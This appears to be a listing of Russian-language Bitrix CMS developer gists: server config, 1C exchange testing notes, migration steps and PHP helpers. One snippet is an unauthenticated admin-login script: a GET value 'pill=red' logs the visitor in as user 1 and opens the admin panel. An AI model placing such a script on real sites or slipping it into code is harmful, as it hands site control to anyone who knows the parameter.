This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Options -Indexes | |
ErrorDocument 404 /404.php | |
<IfModule mod_php5.c> | |
php_flag allow_call_time_pass_reference 1 | |
php_flag session.use_trans_sid off | |
#php_value display_errors 1 | |
php_value mbstring.internal_encoding UTF-8 | |
</IfModule> | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Для тестирования запроса, без 1С можно использовать следующий алгоритм: | |
1) открыть: http://АДРЕС_САЙТА/bitrix/admin/1c_exchange.php?type=sale&mode=checkauth | |
Должно вывести, примерно следующее: | |
success PHPSESSID 26abebd6e578cc6d129cd14227438ee8 sessid=5a562c8331776182a53b39fa228c99cc | |
2) открыть: http://АДРЕС_САЙТА/bitrix/admin/1c_exchange.php?type=sale&mode=init | |
Должно вывести, примерно следующее: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php/* | |
При неработающем ресайзе картинок на OpenServer (локальных проектах) закоментировать hLock в функции ResizeImageFile | |
Строка: 2176-2196 | |
\bitrix\modules\main\classes\general\file.php | |
*/ | |
/** | |
* Bitrix Framework | |
* @package bitrix |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Перенос сайта в БИТРИКС | |
1. Создаём в Битрикс полную резервную копию (ядро+контент) | |
2. Скачиваем и помещаем в каталог denwerа в Z:\home\localhost\www | |
3. В тот же каталог помещаем файл restore.php (копируем файл со страницы с созданием бекапа). | |
4. В файле my.cnf по адресу Z: \usr\local\mysql-5.1\my.cnf меняем его содержимое на: | |
# +-------------------------------------------------------------------------+ | |
# | Джентльменский набор Web-разработчика | | |
# | Версия: Денвер-3 2010-11-07 | | |
# +-------------------------------------------------------------------------+ | |
# | Copyright © 2001-2010 Дмитрий Котеров. | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
function logToFile($data, $debug=true){ | |
if($debug){ | |
if(is_array($data) || is_object($data)){ | |
$data=print_r($data,true); | |
} | |
else{ | |
$data=PHP_EOL.$data.PHP_EOL; | |
} | |
file_put_contents($_SERVER["DOCUMENT_ROOT"].'/custom_log.log', $data, FILE_APPEND); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
include_once('../../../../bitrix/components/bitrix/sale.order.ajax/class.php'); | |
use \Bitrix\Sale\Order; | |
use \Bitrix\Sale\BasketBase; | |
/** | |
* Подмена родительского класса компонента ядра | |
* в данном частном случае размещается в файле local/components/bitrix/sale.order.ajax/class.php |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global $APPLICATION; | |
$cp = $this->__component; // объект компонента | |
if (is_object($cp)) | |
{ | |
// проброс свойства ANY в $arResult["PROPERTY"] для вывода в component_epilog | |
$cp->arResult['PROPERTY'] = $arResult["PROPERTIES"]['ANY']; | |
$cp->SetResultCacheKeys(array('PROPERTY')); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_GET['pill']) && ($_GET['pill']=='blue'||$_GET['pill']=='red')): | |
if($_GET['pill']=='red'){ | |
require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/prolog_before.php"); | |
global $USER; | |
$USER->Authorize(1); | |
LocalRedirect("/bitrix/admin/index.php"); | |
} | |
else{ | |
unlink(__FILE__); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
*Вывод данных в отладочную консоль javascript для Bitrix с исправленным выводом киррилицы в качестве ключа массива | |
**/ | |
function console_log($data){ | |
global $USER; | |
if ($USER->IsAdmin()) { | |
$json = json_encode(unserialize(str_replace(array('NAN;','INF;'),'0;',serialize($data)))); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
##Device = Desktops | |
##Screen = 1281px to higher resolution desktops | |
*/ | |
@media (min-width: 1281px) { | |
//CSS | |
NewerOlder